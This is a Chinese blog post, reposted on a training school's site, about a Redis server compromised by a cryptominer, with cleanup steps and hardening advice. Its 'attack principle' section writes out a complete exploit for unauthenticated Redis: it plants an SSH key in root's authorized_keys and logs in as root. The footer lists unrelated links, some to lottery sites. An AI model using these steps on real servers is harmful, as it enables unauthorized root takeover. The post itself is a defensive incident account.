达内广州C++学院|c++培训|广州达内科技C++/C#培训|.NET培训|IT培训|达内广州岗顶中心 达内广州C++学院|c++培训|广州达内科技C++/C#培训|.NET培训|IT培训|达内广州岗顶中心
java程序员
 当前位置:主页 > 高端课程 > java程序员 >

redis 漏洞造成服务器被入侵-CPU飙升

时间:2019-10-09  来源:未知  作者:广州达内培训

前言

??前几天在自己服务器上搭了redis,准备想着大展身手一番,昨天使用redis-cli命令的时候,10s后,显示进程已杀死。然后又试了几次,都是一样的结果,10s时间,进程被杀死。这个时候我还没发现事情的严重性。

发现问题

??进程莫名被杀死,可能是cpu被占满,赶紧看了一下cpu。

[root@VM_0_13_centos etc]# top

file

??果然如此,cpu被莫名的占满了。简单,根据pid杀死进程就行了。

[root@VM_0_13_centos etc]# kill -9 27882

??在我以为事情已经完结的情况下,使用reids-cli的时候又出现同样的问题,进程被杀死,我在用 top 命令查看的时候,cpu又被占满了。这个时候我才意识到问题的严重性,这个command是一串无规则数字,应该不是一个正经的进程,而且我试过了几次,这个进程总是在被杀死后重新启动,不过是以不同的pid和不同的command,这可能是一个定时任务,然后我看了一下本地的定时任务:

[root@VM_0_13_centos etc]# crontab -l

file

??果然有一个定时任务,那就删掉他。

[root@VM_0_13_centos etc]# rm -rf /var/spool/cron/root

??等我再次杀掉那个异常线程在 top 的时候,发现进程又出现了,我返回看定时任务的时候,发现定时任务也又出现了,直接崩溃....

问题原因

??我从一个技术群里面了解到,这可能是redis漏洞所造成的,造成该现象的原因有如下几种:

  • 将redis暴露在公网上,即把redis绑定在0.0.0.0:6379
  • redis密码过于简单,甚至没有(我就是后种情况..)
  • 使用root权限操作redis

攻击原理

  1. 首先在本地产生密钥文件

     $ ssh-keygen –t rsa
  2. 进入~/.ssh/,将公钥写进foo.txt文件

     $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
  3. 再连接 Redis 写入文件

    $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
    $ redis-cli -h 192.168.1.11
    $ 192.168.1.11:6379> config set dir /root/.ssh/
    OK
    $ 192.168.1.11:6379> config get dir
    1) "dir"
    2) "/root/.ssh"
    $ 192.168.1.11:6379> config set dbfilename "authorized_keys"
    OK
    $ 192.168.1.11:6379> save
    OK

    这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:

     $ ssh –i  id_rsa root@192.168.1.11

    即可远程利用自己的私钥登录该服务器。

??当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。

解决方法

  1. 阻断服务器与外界进行数据传输

    我怀疑我的服务器被恶意被当作肉机,所以我第一步就将这种方式拦截掉。

     $ iptables -A INPUT -sxmr.crypto-pool.fr -j DROP | iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP

    恢复

     $ iptables -A INPUT -sxmr.crypto-pool.fr -j ACCEPT | iptables -A OUTPUT -d xmr.crypto-pool.fr -j ACCEPT
  2. 给redis设密码

    配置文件redis.conf 中找到requirePass 项

  3. 清除authorized_keys的信息(如果有的话,我没有就不用了)

  4. 禁止定时任务开机启动

     $ systemctl disabled cron.service
  5. 重启服务器,并删除定时任务

    $ reboot
    $ rm -rf /var/spool/cron/root

redis 安装建议

  • 禁止Redis服务对公网开放,可通过修改redis.conf配置文件中的"#bind 127.0.0.1"?,去掉前面的"#"即可(Redis本来就是作为内存数据库,只要监听在本机即可);

  • 设置密码访问认证,可通过修改redis.conf配置文件中的"requirepass"?设置复杂密码?(需要重启Redis服务才能生效);

  • 对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接Redis服务器;

  • 修改Redis默认端口,将默认的6379端口修改为其他端口;

  • 禁用config指令避免恶意操作,在Redis配置文件redis.conf中配置rename-command项"RENAME_CONFIG",这样即使存在未授权访问,也能够给攻击者使用config?指令加大难度;

  • Redis使用普通用户权限,禁止使用?root?权限启动Redis?服务,这样可以保证在存在漏洞的情况下攻击者也只能获取到普通用户权限,无法获取root权限;

后记

??这次有惊无险,不然就得重装系统了。

file

如果觉得有用就关注我吧~




上一篇:ping通谷歌后发送QQ邮件通知
下一篇:没有了

友情链接:
  • 全球最大晶圆代工半导体制造厂,台积电斥资订购艾斯摩尔机器设备
  • 英特尔依然是那个英特尔,且看英特尔的城防体系
  • 支持双 DRAM 内存接口,慧荣企业级 SSD 主控方案披露
  • 在全球被反垄断罚款,冤!高通到底哪里得罪了欧盟?
  • 强强联合!万业、微电子所和芯鑫共同打造全新半导体设备
  • 复旦大学校长称:对于集成电路产业发展,大学应该主动担当
  • 技术再升级!无锡中科芯攻克晶圆级再布线及晶圆级凸点制备关键技
  • 聚力!万业企业设立集成电路装备集团,提供自主可控设备
  • 德州仪器C2000微控制器增强连通性和控制性
  • 英特尔打出降价策略,以免被竞争对手 AMD 打败?
  • 贸易摩擦的闹剧没有赢家,苹果有勇气离开中国吗?
  • 图像信号与视觉处理器的发展趋势
  • 真干快消品定位方案班(第二期)火热开班
  • Java集合 ArrayList原理及使用
  • TDD(测试驱动开发)死了吗?
  • JAVA基础之XML相关
  • javaweb项目搭建ehcache缓存系统
  • 每日一码——字符串统计
  • 一篇文章帮你彻底搞清楚“I/O多路复用”和“异步I/O”的前世今生
  • 九:模板方法模式
  • 十二:命令模式(人员解耦和)
  • Java 转PPT为图片、PDF、SVG、XPS、ODP以及PPT和PPTX互转
  • SpringCloud学习(SPRINGCLOUD微服务实战)一
  • 记一次微信网页授权后获取用户信息并重定向
  • 速途新营销五点实战洞察解码“品效合一”
  • 十一:外观模式详解(Service,action与dao)
  • 手把手教你学会 基于JWT的单点登录
  • mysql锁机制总结,以及优化建议
  • 解决多个版本jar包冲突【jar内包名重命名】
  • 中国首张5G终端电信设备进网许可证 华为Mate 20 X 5G版入网
  • RPC之Thrift
  • 高级Java工程师必备 ----
  • 天猫618期间实物支付GMV增长38.5%
  • 换季了,老板你的库存处理好了吗?
  • 从“618”大数据看中国消费新活力
  • 小米生态链:贵在格局感与收放度
  • CODING 2.0 企业级持续交付解决方案
  • 老铁奇趴“新京济” 快手*京东618战报出炉
  • 中小企业新媒体运营基本技能
  • 上汽大通房车再度携手LINE FRIENDS 魔都巡游顺利开启
  • 华为高端手机国内市场份额超苹果夺得榜首
  • 中国智能制造分析报告
  • iPlus艾加营销助力腾讯广告牵手吴晓波 推进商业IP变现
  • 2019世界新能源汽车大会7月1日将在海南举行
  • 区域酒企如何转型突围
  • 时时彩论坛
  • 五星体育斯诺克
  • 北单比分直播
  • 河北11选5走势图
  • 福建体彩36选7开奖结果
  • 九龙图库下载